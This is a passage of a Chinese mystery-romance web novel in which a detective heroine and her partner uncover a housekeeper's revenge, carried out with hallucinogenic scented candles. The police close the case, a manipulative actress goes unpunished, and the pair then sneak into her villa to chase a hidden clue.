陆正光完全具备作案动机和作案条件,连放了氰/化物的牛奶盒上都有他的指纹,证据确凿,不论他再怎么喊冤,这起案子的侦破似乎已经是板上钉钉的事了。
不过就算阮玉雯的案子解决了,孟洁的死还是一起悬案。
虽然她是因为心脏病发作而死的,但不锈钢牌匾上映出来的那个站在楼道里的人影显然是诱因,哪怕对方并不知道她有先天性的心脏病,只是恶作剧想要吓吓她,那也是过失致人死亡,同样需要调查出真相。
秦聿风问:“香薰蜡烛的成分检测结果出来了吗?”
警员回答:“出来了,检测机构说,除了制作蜡烛的必要成分外,从两个香薰蜡烛里都检测出了少量的莨菪碱、东莨菪碱及阿托品。”
几个陌生的词汇听得祝好一头雾水,秦聿风皱了皱眉,发出了同样的疑问:“什么玩意儿?”
温珣接过话茬,解释道:“莨菪碱、东莨菪碱、阿托品都属于生物碱,会对人体中枢神经系统产生影响,引起头晕、幻觉、精神错乱等症状。”
也就是说,导致江绮不断做噩梦和出现幻觉,以及孟洁在监控视频里种种怪异行为的罪魁祸首,的确就是这些香薰蜡烛。
祝好在江绮卧室陪她的那几天晚上,想必也是无意间吸入了蜡烛的烟雾,才会跟她一样被梦魇困扰。
秦聿风沉吟片刻,问道:“你说的那些什么碱,从哪儿可以弄到?”
温珣回答:“市面上有很多药品都含有这几种生物碱,比如晕车药里就含有莨菪碱,东莨菪碱是消化系统常用药物,阿托品则用来治疗内脏绞痛,不过混合在香薰蜡烛里,我还是第一次听说。”
程述往座椅里一靠,懒洋洋地接过话:“哪儿需要那么麻烦,曼陀罗知道吧?它的种子、果实、花和叶子中都含有这几种生物碱,燃烧后产生的烟雾会使人出现幻觉,而且这种植物常被用作盆栽观赏,普通人也能很容易弄到手。”
秦聿风抚着下巴点了点头。
另一名警员举手示意:“秦队,之前你让我查麦苗的家属,结果已经出来了。”
说着,他把一份资料递到秦聿风手里:“麦苗的父亲在她三岁那年就去世了,是她母亲独自把她拉扯大的。至于当年那场意外,是她独自在礼堂练习时,
舞台上方的架子突然掉落,把她吓了一跳,下意识后退避开时踩空了,从舞台边缘摔了下去,导致脚踝韧带严重断裂。这是她母亲的资料。”
祝好突然生出一种强烈的预感——能把所有零零散散、看似毫无关联的线索串联起来的那根线,马上就要出现了。
她探头去看秦聿风手里的资料,果然在上面看到了一张熟悉的脸。
是连阿姨。
第159章
没错,连阿姨就是那根线,将迷雾之后隐隐绰绰的线索串联在一起。
江绮“见鬼”的真相,孟洁心脏病发作而死的原因,都随着香薰蜡烛中检测出来的生物碱以及连阿姨的出现而浮出水面——当年那场“意外”或许根本不是意外。
江绮、孟洁和阮玉雯三个人曾是很好的朋友,而且都有很大希望通过戏剧学院的考试,获得提前录取的名额以及丰厚的奖学金。
麦苗不是三人小组的成员,跟她们关系一般,却同样有着卓越的舞蹈天赋,只要她在考试中正常发挥,就很有可能拿到三个名额的其中一个。
换句话说,只要麦苗被录取,江绮、孟洁和阮玉雯其中一个人,就很有可能被挤掉。
所以她们想到了一个办法——趁麦苗独自在礼堂的舞台上练习跳舞时,对舞台上方的架子做了手脚,导致麦苗受到惊吓后从舞台上跌落,脚踝受到了严重损伤。
也许她们本来只是想通过制造一个“意外”让麦苗失去参加考试的机会,没想到麦苗的伤比她们想象的要严重许多。
舞蹈对麦苗来说等同于生命,得知自己的未来很有可能无法再继续跳舞,心灰意冷的她选择从教学楼的天台一跃而下,结束了自己年轻的生命。
这个结果显然超出了孟洁、江绮和阮玉雯三人的预想,她们惊恐万分,生怕这件事被人知道后不仅要承担责任,还会失去好不容于争取到的录取名额,于是约定把这个秘密烂在肚子里,从此之后再也不联系。
技术员调出了连阿姨的住址,发现她家就在孟洁家附近,而且她搬家的时间跟开始为江绮工作的时间都同样是三年前。
丈夫去世后,连阿姨与麦苗相依为命,独自将她抚养成人,可麦苗却因为受不了打击选择了自杀,只剩下连阿姨一个人留在世上。
或许三年前发生了什么,让她突然得知导致女儿自杀的原因根本不是意外,而是有人故意为之,悲痛欲绝之时,她决定用自己的方式替女儿报仇。
警方很快就在孟洁死亡当晚舞蹈培训中心附近的交通监控中,发现了连阿姨匆匆从画面中掠过的身影,她的肩上还背着一个帆布包。
祝好回想起那天他们去江绮家时正好碰见连阿姨说自己有事要离开,当时她身上背的就是这个包。现在想来,她所谓的“有事”应该就是去找孟洁。
监控中不锈钢牌匾上映出的那道穿着校服的模糊身影,应该也是连阿姨假扮的。孟洁的死,跟她脱不了干系。
而阮玉雯的死,则是一个案中案——她的前夫陆正光无意间翻出她当年的日记和照片,猜到阮玉雯与江绮有一个共同的秘密,便想要以此来威胁已经成为知名演员的江绮。
于是他找到已经搬出去的阮玉雯,想要从她口中套出那个秘密,可阮玉雯怎么也不愿告诉他。恼羞成怒之下,他趁阮玉雯不备,在她的牛奶中放入事先准备好的氰/化物,将她毒死。
迷雾逐渐散去,真相浮出水面。
警车呼啸着穿过寂静宽敞的山路,停在了江绮的别墅门口。这个时间点,连阿姨应该还同往常一样,在给江绮准备午饭。
摁响门铃时,开门的是捧着一杯咖啡的江绮。
看到门外一众警员,江绮的眼神里掠过一丝讶异,脸色陡然之间变得煞白:“警察同志,有、有什么事吗?”
“他们应该是来找我的。”连阿姨自厨房里走出,声音和表情都很平静。
江绮抿成一条线的双唇微微张开,过了好一会儿才愕然道:“找你的?连阿姨,你怎么了?”
连阿姨不语,缓缓解开身上的围裙,兀自走到客厅的沙发坐下,转头对门口的秦聿风礼貌地笑了笑:“警察同志,我可以跟你们回去,不过有些事,我还是想先在这儿……在你们的见证下说清楚。”
警员们纷纷转头看向秦聿风,秦聿风眯了眯眼,一时拿不定主意。
程述捏了捏他的肩膀,闲散道:“让她说呗,有那么多警察在,你还担心制服不了一个阿姨?”
秦聿风略一思忖,还是点头应允了。
他示意江绮坐在连阿姨对面、隔着一个茶几的位置,自己则在她们中间坐下。
在场那么多人里,只有江绮面露茫然,似乎是想不明白最近接二连三发生在自己身边的事情究竟是为何。
她把探究的目光投向坐在对面的连阿姨。
连阿姨闭上眼睛深深吸了一口气,过了好一会儿才开口:“江绮,我希望你能当着警察同志的面,说出七年前的学校礼堂到底发生了什么。”
江绮神情一滞,半晌才露出一个十分勉强的笑容:“连阿姨,你在说什么,我怎么听不懂?”
连阿姨抬起眼皮看她,一字一顿道:“麦苗是我的女儿,亲生女儿。”
听到麦苗的名字,江绮瞪大双眼,不自觉地咽了口唾沫,仿佛瞬间明白了什么,却没有应声。
连阿姨说:“我一直觉得当年的事情是个意外,虽然难过,但我告诉自己,这一切或许都是命中注定,麦苗的死是她自己的选择,怨不得别人。”
“直到有一年我去探望她时,看到了阮玉雯正坐在她坟前痛哭。起初我以为只是麦苗的朋友来找她叙旧,就躲在树后面没有上前打扰,却无意间听到了她的忏悔。”
说到这儿,连阿姨顿住了,转头看向愣怔的江绮:“麦苗摔下舞台并不是单纯的意外,舞台上方的架子也不是年久失修掉下来的,是你们三个人对架子做了手脚,对吗?”
连阿姨对江绮并没有歇斯底里的控诉,也没有切齿痛心的责问,她强压着心底的悲伤和愤怒,静静地等待一个答案。
江绮沉默许久,没有回答,而是反问她:“所以我接连不断的噩梦和幻觉,还有收到的那张纸条,都是你做的吗?”
复杂的情绪交织着,让连阿姨浑身止不住颤抖:“是,是我做的,是我在你的香薰蜡烛里混进了曼陀罗种子的粉末。我给过你们很多次机会,这三年来,我时不时会跟你和孟洁提起高中的事,试图从你们那里听到一句真心的道歉,可你们从来闭口不谈,更别提表现出哪怕一点点愧疚和不安。”
江绮又问:“那孟洁的死跟你有关吗?”
连阿姨有了一瞬间的失神,双唇翕动,通红的眼中噙着泪:“我没想要杀她,我真的不知道她有心脏病,也……没想过要伤害你。让你们做噩梦、出现幻觉,给你们寄纸条,只是想让你们的良心受到折磨。”
江绮忽然冷笑了一声,声音凛冽:“你口口声声说当年是我对舞台上方的架子做了手脚,你有什么证据吗?”
连阿姨愣住了。
不止连阿姨,在场的所有人都不由得一愣。
这个秘密只有江绮、孟洁和阮玉雯三个人知道,现在孟洁和阮玉雯都已经离世,就连那本日记都没有明确写出事情的经过。
虽然真相大家都心知肚明,但光凭连阿姨的说辞,也的确没有证据证明是江绮对架子做了手脚。
连阿姨下颌不断抖动,声音里带着克制的愤怒:“江绮,你还有良心吗?不做亏心事,不怕鬼敲门。如果事情不是你做的,你为什么会那么害怕?”
“怕鬼难道不是人之常情吗?还是说,警察同志认为我怕鬼就能证明那些事是我做的?”江绮漠然道:“对于你和麦苗的遭遇,我很同情,也很理解。看在你为我工作了那么多年的份上,我可以不追究你的所作所为对我造成的精神损失。但我没办法容忍任何形式的污蔑,如果你再继续胡编乱造,我会让我的律师团队搜集证据,依法对你进行起诉。”
“你、你……”连阿姨颓然地靠在沙发上,眼底泛起一抹悲凉,摇着头喃喃自语:“当年如果没有那场意外,我的麦苗应该会在舞台上熠熠生辉,你毁了她的人生,逃避了那么多年,我只是想要一个真相,这样的要求很过分吗?”
方才还局促不安的江绮,此时却挺直了脊梁,面带几分不屑:“不过分,如果你有证据证明事情是我做的,我随时可以向你道歉。如果没有证据的话,那不好意思,我没办法对我没做过的事情做出回应。”
看着面色倨傲的江绮,祝好忽然觉得那副光鲜亮丽的外表之下,不知是何等的肮脏和破败。
或许连阿姨并不是真的想要报仇,她想要的,只是一个真相、一个解释、一个道歉。
即便如此,江绮也
还是不愿说出当年的事。
她在乎的只有自己的前途、名誉和职业生涯。
连阿姨已经承认了孟洁的死跟她有关,不论如何,警方都必须把她带回警局里进行讯问。
离开之前,江绮还不忘提醒秦聿风:“警察同志,今天在这里所谈的事情都是我的个人隐私,希望你们不要对外界透露,否则我会动用法律武器保护自己的权益。”
秦聿风冷眼扫量着她,没应声,只是朝警员打了个手势,让他们把连阿姨带回去。
车行驶在回程的路上,看着逐渐消失在后视镜里的别墅,祝好深深叹了口气——为连阿姨和麦苗的遭遇感到难过,更为江绮的冷漠和自私感慨。
麦苗因为她们一己之私的举动失去了生命,孟洁和阮玉雯也因此受到了惩罚,可身为主谋的江绮却偏偏能全身而退,这未免也太不公平了。
一想到这样的人或许将来还会披着那张伪善的面具出现在领奖台、广告牌和电视荧幕上,祝好更是愤愤不平:“老大,我之前怎么就那么轻易相信江绮的话呢?真是瞎了眼了。”
程述偏头看了她一眼:“不怪你,我也没看出来,怪就怪她演技实在太好了吧。话说,你这个剧情任务完成了吗?”
祝好这才反应过来,系统还没有弹出完成剧情任务的提示。难道她猜错了,这真的只是个普通的委托,根本不是剧情任务?
她摇了摇头,抬手撑住额头,目光掠过自己空荡荡的手腕,忽然想起什么:“老大,你能不能调个头,回江绮的别墅一趟?”
“怎么了?”
祝好懊恼:“温珣妈妈送我的手链,我那天忘在江绮家的床上了。”
虽然她现在很不情愿跟江绮打交道,甚至一看到江绮就觉得难受,但那串手链是温煦妈妈送的礼物,她不可能因为这样就不去取回来。
程述没说什么,默默调转了车头。
看到祝好再次出现在门口,江绮已经不再伪装成当初那副小白花的模样,冷声问道:“我们的委托已经结束了,你还有什么事吗?”
祝好指了指二楼:“我有一串手链不小心忘在你房间了,你能不能帮我取一下?”
江绮不耐烦地扬了扬手里的电话:“我有事要跟我的经纪人谈,你自己上去拿吧。”
祝好压住心底百般情绪,应了一声,上了二楼房间,在枕头底下找到了那串险些被自己遗忘手链。
她刚要转身离开,眼前突然出现了一个小小的放大镜图标,同时系统弹出提示:“发现隐藏线索。”
隐藏线索?原来这真的是个剧情任务。
祝好有些疑惑:虽然江绮没有亲口承认,但七年前的迷雾已经被风吹散,导致孟洁心脏病发作的连阿姨被带回警局,杀害阮玉雯的凶手也已经捉拿归案,一切尘埃落定,这个剧情任务为什么还没有结束?
来不及多想,她顺着放大镜指引的方向转过身,目光停留在卧室里书架上的几只花瓶上。
这花瓶里藏着什么吗?她小心翼翼走上前刚要查看,却听到门外有脚步声越来越近。
“找到你的手链了吗?”江绮推开房间门问道,语气中透露着不悦。
祝好从床头起身,朝她亮了亮手里的手链:“找到了,掉在床头的缝隙里,难怪我说怎么找不着呢。那我就先走了。”
江绮淡淡地“嗯”了一声,在门口擦身而过时,她又叫住祝好:“对了,委托这件事你们也一定不能说出去,否则……”
祝好打断她:“我知道,我们侦探社向来尊重客户隐私,不会透露出去的,江小姐放心。”
江绮点点头,目送祝好下了楼,看着她的背影消失在门口。
闹剧落幕,一切糟心的事也归于平静,生活也将回到正轨上。她几不可闻地松了一口气,唇边露出一抹笑意,双眸中却没有一丝温度。
第160章
祝好从别墅里出来,径直走向程述停在门口的车。她拉开车门坐进副驾驶,系好安全带后,示意程述可以离开了。
等车驶出一段距离,她才往驾驶座靠了一些:“老大,江绮有问题。”
程述疑惑地看了她一眼:“什么问题?”
“说不准,刚才我在她房间里触发了隐藏线索,但还没来得及查看她就过来了。”
按照以往的经验,这个隐藏线索往往是破案的关键。
祝好想了想,问道:“你用发夹能打开她家的门吗?”
“你说呢?”
这句模棱两可的回答给了祝好希望,她迫不及待拍起了彩虹屁:“你那么厉害,当然——”
程述打断她:“当然不能了,如果用发夹就能开她家的指纹锁,全世界的锁匠怕是都要拜我为师了。”
祝好耸了耸肩:“开不了也没关系,我们可以趁她不在家时从窗户翻进去。”
“怎么翻?”
她得意洋洋地扯了扯嘴角,压低声音说道:“刚才在她进来之前,我把她房间窗户的锁给打开了。”
程述略带诧异地转头看她,忽然没忍住笑出声。
祝好不满:“笑什么笑,这不是跟你学的吗?”
程述反驳她:“我什么时候教你这些了?”
祝好嘟囔:“你是没教,我只是近墨者黑,耳濡目染就学会了。”
她打开手机,给李砚川发了条信息,问他能不能帮忙打听一下江绮最近的行程。
李砚川有些疑惑,但也没多问,没过多久就回复了信息,说明天晚上江绮会出戏一个颁奖典礼,加上化妆、采访和参加晚宴的时间,估计要忙到半夜。
这样一来,就有足够的时间潜进她家去寻找那个隐藏证据了。
放下手机,祝好暗暗祈祷没有了连阿姨帮
忙打理房子,江绮不会那么快发现她房间里的窗锁被打开,这样他们明天晚上才能想办法顺利翻进去。
想到这里她还有些激动,总感觉自己跟个特工似的。
*
他们在路上的面馆随便解决了午饭,回到警局时,警方对连阿姨的讯问已经结束了。
事情的起因和发展跟他们推测的差不多,连阿姨先是把家搬到孟洁家附近,时不时制造一些“偶遇”,一来二去,两人也就熟识了。
三年前江绮已经开始进入演艺圈,想要接近她并不容易,所以连阿姨又通过应聘到她家里当上了保姆,并一步一步获取她的信任,得到了自由进出她家里所有房间的机会。
她接近孟洁和江绮的目的并不是为了替麦苗报仇,而是希望能从她们口中得知真相,最好能让她们公开道歉。
然而这三年间,她看着导致女儿自杀的罪魁祸首过得风生水起,却从未对当年的事产生任何愧疚,于是才逐渐生出了报复的心理,想让她们也尝一尝当初麦苗所经历的恐惧和绝望。
她偶然间在书里看到曼陀罗燃烧后产生的烟雾能致幻,就收集了一些曼陀罗的种子,研磨之后混进香薰蜡烛里。
由于她平时经常给孟洁送一些自己做的甜品和手工艺品,所以孟洁在收到她送的那个混合着曼陀罗粉末的香薰蜡烛时,并没有产生任何怀疑。
江绮则好办得多,她本身就有点燃香薰蜡烛入睡的习惯,而连阿姨又对她家里的所有东西了如指掌,轻易就能神不知鬼不觉替换掉那些蜡烛。
在她们开始因为蜡烛而出现幻觉之后,连阿姨又给她们寄去了那张写着“我回来了”的纸条。正所谓“不做亏心事,不怕鬼敲门”,在幻境和强烈的心理暗示下,孟洁和江绮才纷纷“看见”了当年被自己的私欲害死的麦苗。
不过连阿姨没想到的是,孟洁患有先天性心脏病,那天她的本意只是想吓唬吓唬她,让她主动道歉并说出真相,没想到她心脏病突然发作,不受控制地摔下楼梯。
连阿姨吓坏了,本想打电话叫急救,却发现她已经停止了呼吸,于是仓皇逃离了现场。
至于阮玉雯,连阿姨本来并不想伤害她,但还是咽不下那口气,所以给她寄去了一样的信和蜡烛。
如果她点燃了蜡烛、出现幻觉,那也是她应有的报应,如果她没用到也就罢了——毕竟她的道歉,三年前连阿姨已经亲耳听到了。
虽然连阿姨的遭遇令人唏嘘,但不论如何,她都需要为孟洁的死负责。
走回办公室的路上,祝好问秦聿风:“那陆正光呢?他认罪了吗?”
秦聿风:“还没呢,那家伙倔得很,也不知道他是从什么渠道弄到的氰/化物。不过没关系,目前所有证据已经能够形成完整的证据链了,就算零口供也能给他定罪。”
他漫不经心地转头四下张望,话锋一转,突然问道:“老程呢?”
祝好摇摇头:“刚回来就不知道去哪儿了,要给他打个电话吗?”
秦聿风赶紧抬手制止她:“不用不用,我就随便问问。”
他打开办公室的门,示意祝好先进去,把门关上后,轻咳了一声:“对了,祝好,我有事跟你说。”
祝好:“怎么了?”
秦聿风从饮水机接了杯温水递给她,倚在办公桌前又一次清了清嗓:“没什么,就是想问问……你在老程那儿住得习惯吗?”
祝好一头雾水:“为什么突然问这个?”
她在程述家住了半年多,再不习惯也早就习惯了,现在问这个问题会不会太迟了点儿。
秦聿风神色有些复杂,视线四处乱飘:“没事,就是……当初让你住老程那儿是没办法的办法,后来想想,总觉得是我考虑不周了。跟个大男人共处一室,你多少会有点不自在吧。”
祝好捧着水杯抿了一口,实话实说:“还好,也没什么不自在的。”
说是共处一室,但好歹隔着一层楼板,程述基本也不会上阁楼去,连叫她起床都是用扫帚捅天花板。
她洗澡的时候程述基本会主动避嫌,先回自己房间里呆着,等她换好衣服再出来,就连两个人衣服都是分开洗、分开晒的。
至于家务活,都是谁看到了就顺手收拾一下,时间长了,这样的同住一个屋檐下的生活倒也还算默契。
秦聿风干笑了一下:“是吗?那就行。”
祝好看他一脸欲言又止的模样,忍不住问:“秦聿风,是有什么事吗?”
秦聿风斟酌了一下语言,又说:“其实是这样,我姑妈有套房子,之前一直租给别人,最近那个人退租了,房子就空了出来。”
他掏出手机,划拉着相册里那套房子的照片:“一室一厅,坐北朝南,日晒充足,家具电器齐全,拎包入住,楼下就是地铁,方圆两公里内超市、医院、菜市全都有。”
祝好茫然地看着他跟个房产中介似的滔滔不绝介绍着房子的情况,一时没搞懂他葫芦里卖的什么药。
说了半天,他终于说到了重点:“……如果你觉得住老程那儿不方便的话,可以考虑搬过去,一个月房租只要800块钱。”
祝好以为自己耳朵出了问题,愕然道:“多少?!”
照片里的房子干净整洁,家具电器都还很新,在淮江市要租下这个条件的房子至少也是两三千块钱起步。
才租800块钱,跟钱从天上掉下来、砸到脑袋上有什么区别。
秦聿风一时没反应过来,还以为她是嫌贵:“那什么……我跟我姑妈说一下,500块钱也行。”
又补充了一句:“包水电物业。”
祝好更惊讶了:“500块钱包水电物业?你姑妈是做慈善的吗?”
秦聿风挠了挠脑袋,顾左右而言他地说:“那倒也不是,不过你是我的朋友,她一定会答应的。”
祝好心说有这么一个败家侄子,姑妈应该也够闹心的。不过她还是不免有些心动,又问道:“能养猫吗?”
秦聿风想也不想就回答:“能,当然能。”
那么便宜的价格能租到那么好的房子是件好事啊,祝好想不明白他为什么表现出一副做贼心虚的样子,眼神还时不时往透过办公室的百叶窗往外瞟,像在提防什么似的。
虽然在警方这边看来案子已经结束了,但不知为什么祝好的剧情任务还是没完成,就算要搬家,也得等剧情告一段落才有时间考虑。
她朝秦聿风笑了笑:“谢谢你啊,这两天我再想想。”
秦聿风还想说什么,办公室的门忽然被推开了。程述径直走进来往沙发上一躺,长舒了一口气。
祝好问:“老大,你刚刚去哪儿了?”
“去趟洗手间,出来的时候碰到局长,被他拉到办公室聊了一个多小时的人生。”程述无奈地往额头上抹了一把,拿起茶几上祝好喝剩的半杯水一饮而尽。
秦聿风提醒他:“那是祝好的杯子。”
他愣了一下,随即又浑不在意地说:“你这儿又不缺一次性杯子,再给她拿一个不就行了。”
秦聿风啧了一声,语气听着有些不爽:“这是杯子的事吗?”
程述嗤笑着反问:“不然呢?”
两人的目光在方寸大的办公室里猝然相撞,转瞬又错开。
片刻后,程述起身,宽大的手掌在祝好的脑袋上摁了一下:“下班时间到,走了,回家。”
祝好哦了一声,刚走到办公室门口,却被秦聿风喊住了:“祝好,那件事……你考虑好了随时跟我说。”
祝好点了点头,朝他比了个“ok”的手势,小跑两步追上了程述的步伐。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
160-170
第161章
晚高峰期的市中心,前方的车尾灯宛如一条不见首尾的长龙,窗外喇叭声不绝于耳。
程述一手把着方向盘,一手搭在车窗上撑着额角,漫不经心地问了句:“刚刚老秦让你考虑什么?”
祝好一愣,这家伙是长了对顺风耳吗,走那么快还听得那么清楚。
不过如果真的要从阁楼搬出去,确实应该提前跟他说一声,于是回他:“他说他姑妈有一套房子,就在地铁口,拎包就能入住,才500块钱还包水电,问我要不要搬过去。”
程述脱口问道:“你要搬走?”
“我这不是还在考虑嘛。”祝好忍不住嘀咕了一句:“不过500块钱也太划算了,你觉得呢?”
程述没应声,他的脸没在阴影之中,看不清表情。
前方的车流开始缓慢流动,程述忽然一脚油门,车猛地蹿了出去,随后又骤然停下,强大的惯性一下子把祝好拍回副驾驶的靠椅上。
车停稳后,他才说了句:“是挺划算的。”
祝好龇牙咧嘴地揉着后脑勺:“划算也用不着突然加速又突然刹车吧?”
他淡淡回答:“不想让别人加塞。”
祝好瞥向后视镜,看到侧后方有辆小轿车歪着个头愣在两条车道中间,估计是刚刚没打转向灯就想变道,愣是被程述这一脚油门给吓呆了。
她抽回目光,悄悄看了程述一眼,窗外流转的车灯从他脸上掠过时,他的眉梢轻轻动了一下。
这家伙向来
喜怒不形于色,很少把真实的情绪外露,但依祝好对他的了解,总觉得他越是不动声色,脑子里酝酿的想法就越是危险。
路上虽然拥堵,但回到家楼下时时间不算晚,还赶得及在家做顿饭。
车在附近的菜市场门口路边的空位缓缓停下,祝好解开安全带从车里出来,跟程述一起走进市场。
这个点的菜市场也十分热闹,朝九晚五的上班族们刚结束了一天的工作,都赶在这个时候来挑选晚餐所需的食材,此起彼伏的叫卖声和讨价还价声交织在一起,空气中充斥着浓重的市井气息。
路过水产区,祝好停在一家卖海鲜的铺子前,被水缸里活蹦乱跳的大虾吸引了注意力,转头对程述说:“老大,我们买点虾吧,正好给白眼狼加个餐。”
程述嗯了一声,问老板拿了个网兜,捞起满满一兜虾掂了掂,把水控干净,问祝好:“油焖大虾行吗?”
“你会做吗?”
程述给了她一个“你在说什么废话”的表情,又问:“还想吃什么?”
今天怎么那么大方呢。
祝好的目光在水缸里逡巡片刻,指了指张牙舞爪的螃蟹:“就你们了!”
程述转头对老板说:“再要四只梭子蟹。”
老板应了一声,挽起袖子,手脚麻利地把挑好的虾和螃蟹都装起来。
既然是程述做饭,祝好觉得还是自己付钱比较好,没等她把钱包掏出来,程述就已经用手机扫码付了款,提着满满一袋海鲜走向了蔬菜区。
买完菜回来刚走到二楼,三楼房东大妈养的小白狗听到脚步声,立刻跑到门口朝他们狂吠起来。
房东大妈闻声拎着锅铲从屋里出来,脸上挂着笑:“小程,今天回来那么早呐?对了,那个……”
话还没说完,程述就截口打断她:“房租我待会儿就转过去。”
房东大妈没想到他那么自觉,提前打好的腹稿没有了用武之地,只得嗐了一声:“不急不急,明天再转也行。哟,今天给祝好做什么好吃的?”
程述提了提手里的袋子,说了句:“海鲜大餐。”然后脚步不停地往楼上走。
“好,海鲜大餐好啊。”房东大妈眉开眼笑,扯住祝好的衣服,低声在她耳边说:“我觉得啊,小程这个人还是蛮不错的,上得了厅堂下得了厨房,比其他来找你的那几个男孩都好。”
祝好无语,上回还让她不要在一棵树上吊死呢,现在又改口说程述比其他人都好了,这立场变得也真是够快的。
她笑了笑,指着屋里说:“张阿姨,我好像闻到一股糊味儿。”
房东大妈反应过来,短促地“啊”了一声,赶紧转身进屋去了。
回到家里,程述已经在厨房里处理买回来的食材了,闻到海鲜味的白眼狼急得在他腿边直转悠。
祝好锁上门,走到厨房门口问他:“需要我帮忙打下手吗?”
程述从锅里捞出两只清水煮熟的虾,装进碗里递给她:“你把壳剥了,喂给白眼狼就行。”
祝好刚接过碗,白眼狼立刻转移了撒娇的对象,竖着大毛尾巴一路嗷嗷嗷跟在她身后。
“你这名字还真没起错。”祝好嘟囔着把剥好壳的虾放进它的猫碗里,它瞬间就迫不及待扑上前狼吞虎咽。
程述把处理好的虾倒进烧热的锅里,把虾翻炒至变成红色,倒入调好的酱汁,盖上锅盖焖熟,趁着这空当儿,又把放在水槽里的梭子蟹去鳃洗净。
祝好洗了手,从程述身后探出头,看他利索地把梭子蟹斩成小块,啧了一声:“老大,你这分尸的手法还挺熟练。”
程述头也不抬:“去帮我把虾盛出来。”
祝好打开锅盖,把焖好的虾装进盘子,顺便捻起一只塞进嘴里,被烫得龇牙咧嘴。
程述动作很利索,没多久就把螃蟹也做好了,还炒了碟西兰花。
三菜一汤陆续上桌,祝好挨个尝味道:油焖大虾外酥里嫩很入味,辣炒螃蟹也十分鲜香,西兰花清爽可口,刚好能中和重口味的油腻。
见祝好吃得满嘴油,程述轻笑一声,抽了张纸巾递给她:“好吃吗?”
祝好忙着啃蟹腿,抽空回了句:“好吃。”
程述:“那就多吃点。”
说完又弯下腰拍了拍在腿边撒娇的白眼狼:“你少吃点,你的体重已经超标了。”
跟蟹腿战斗完,祝好终于腾出嘴说话:“老大,你到底会做多少菜啊?”
程述低头剥虾,面无表情地说了句:“反正比你那三个可攻略对象会的多,特别是老秦,他家里连瓶酱油都没有。”
怎么突然就扯到他们身上了?
祝好擦干净手上的油,想了想:“李砚川煎的牛排还是不错的。”
程述把剥好的虾放进一个碗里,推到她面前:“煎牛排有什么难的,你想吃我明天就去买。”
祝好愣了一下,忽然觉得有些不对劲:这难道就是男人的胜负欲吗?
程述自己也说过,要激起一个男人的胜负欲,首先要让他产生危机感。
不过这危机感的来源是什么呢?
祝好举着个蟹腿思考了一下,开口问道:“老大,你是不是……不想让我搬走?”
程述动作一滞,很快又恢复如常:“我可没这么说过。”
祝好又问:“跟我住在一起,你真没觉得有什么不方便的吗?”
他沉默了一会儿,沉着声回答:“这个问题你到底要问多少次?没什么不方便的,再说阁楼空着也是空着,你想住就接着住,反正又不需要你付房租。当然了,你要是觉得有不方便的地方可以提出来。”
祝好定定地看着他。
这句话似曾相识,他好像不止一次说过。不过最后那句从之前的“不想住随时可以搬走”变成了现在的“觉得不方便可以提出来”。
察觉到她的目光,程述抬眼跟她对视,若无其事地说:“所以你真的考虑搬走?”
祝好没应声,她现在一门心思都想着明天晚上要怎么潜进江绮家里找到隐藏线索,搬家的事还是暂时搁置,等剧情任务完成了再做打算吧。
*
时间很快到了第二天晚上,电视台举办的颁奖典礼正如火如荼地进行着,淮江市大部分演艺圈的名流都到场了。
城市的另一头,程述开车行驶在去江绮家的路上,祝好看着手机上电视台的直播,没费什么功夫就在人群里找到了身着红色礼服,妆容精致的江绮。
看样子,这个典礼至少还有几个小时才能结束,正好给了他们足够的时间去找到那个隐藏线索。
江绮的别墅虽然偏僻,但安保措施还是挺严格。好在他们之前来的时候江绮提前和保安打过招呼,保安认得他们的车,倒是没怎么为难就放行了。
祝好放下手机,还是有些担忧:“老大,我们就这么明目张胆地进去,
万一被抓了怎么办?”
程述说:“两个办法,第一,现在就掉头回去。第二,保证自己不被抓到。”
祝好想了想:“那还是第二吧。”
毕竟一切看似尘埃落定,她根本不知道剧情任务要怎么样才算是完成,但无论如何,这个隐藏线索一定起到关键作用。
况且他们也只是进去看一眼,不会带走任何东西。只要不留下痕迹,江绮也不会知道有人来过。
为了不引人注目,程述把车停在半道上,跟祝好绕小路步行到了江绮那栋别墅的后院。
后院的围墙不算高,程述脱下外套扔给祝好,简单地做了下热身运动后,后退几步一个助跑,用力一蹬,没费什么功夫就翻到了墙上。
他指了指前院,朝祝好低声说:“去门口等我,当心点,别被人发现了。”
祝好点点头,赶紧绕到前院大门。江绮住的是独栋别墅,每户之间隔的距离很远,鲜少有人会经过。
没多久程述就把门打开了,祝好四下看了看,确定周围没人之后,闪身进了院子里。
程述站在别墅外,仰头看了看二楼:“你开的是哪扇窗的锁?”
江绮的卧室有两扇窗,祝好指了指左边的那扇——那里离发现隐藏线索的书柜最近,当时听到江绮的脚步声,她来不及思考太多,顺手就把窗锁给开了,然后若无其事回到床边,假装自己刚找到手链。
程述点点头,仔细观察了一阵,把花园里的梯子搭在窗户下。
这个梯子应该是之前连阿姨为了清理外墙玻璃留下的,昨天祝好离开别墅之前特地留心观察过,虽然梯子不算高,但是以程述的身手,足够他够到二楼的窗户了。
程述很快爬到梯子顶部,双手牢牢攀住墙边凸起的装饰物,身体干净利落地腾空而起,一下子就跃到了二楼的阳台。他一手抓住栏杆,探身推开那扇没锁的窗户,朝站在楼下抬头看他的祝好打了个手势,示意她去门口等着。
祝好会意,在门口等了一会儿门就开了。
程述打开随身携带的手电筒,跟她一起上了二楼江绮的房间,小声问她:“你说的隐藏线索在哪儿?”
祝好指了指书柜上的一排花瓶。
程述把手电筒递给她,戴上手套,挨个把所有花瓶检查了一遍,却没有任何发现。
他转头问祝好:“你这外挂是不是出bug了?”
祝好也疑惑,昨天的放大镜指的分明就是这儿,怎么会什么也没有呢?
第162章
祝好不信邪,又打着手电筒把那一排花瓶重新检查了一遍,仍是一无所获。
她唤出系统,打算问个明白:“系统,这个隐藏功能是不是出bug了?”
系统很快给出答复:“宿主,暂时没检测到数据异常。”
没有bug,为什么会找不到?
祝好停在原地认真思索了一番,当时那个放大镜的图标确实是指到这儿的,不过因为江绮的突然出现,她其实并不确定隐藏线索究竟是这几个花瓶,还是别的什么。
思及此,她又一次用手电筒在周围仔细搜寻起来,视线跟着光束游弋,忽然发现放置花瓶的那一层书架的木板上,其中有一小块跟其他部分颜色似乎有点区别。
她把花瓶挪开,摸索到那一块地方,尝试着轻轻摁了一下,果然有些松动。
难道这块木板下面藏着什么吗?
木板周围严丝合缝,如果找东西撬开,必然会留下痕迹。
祝好想了想,转头问程述:“老大,你能不能帮我找个带粘性的东西,比如透明胶之类的。”
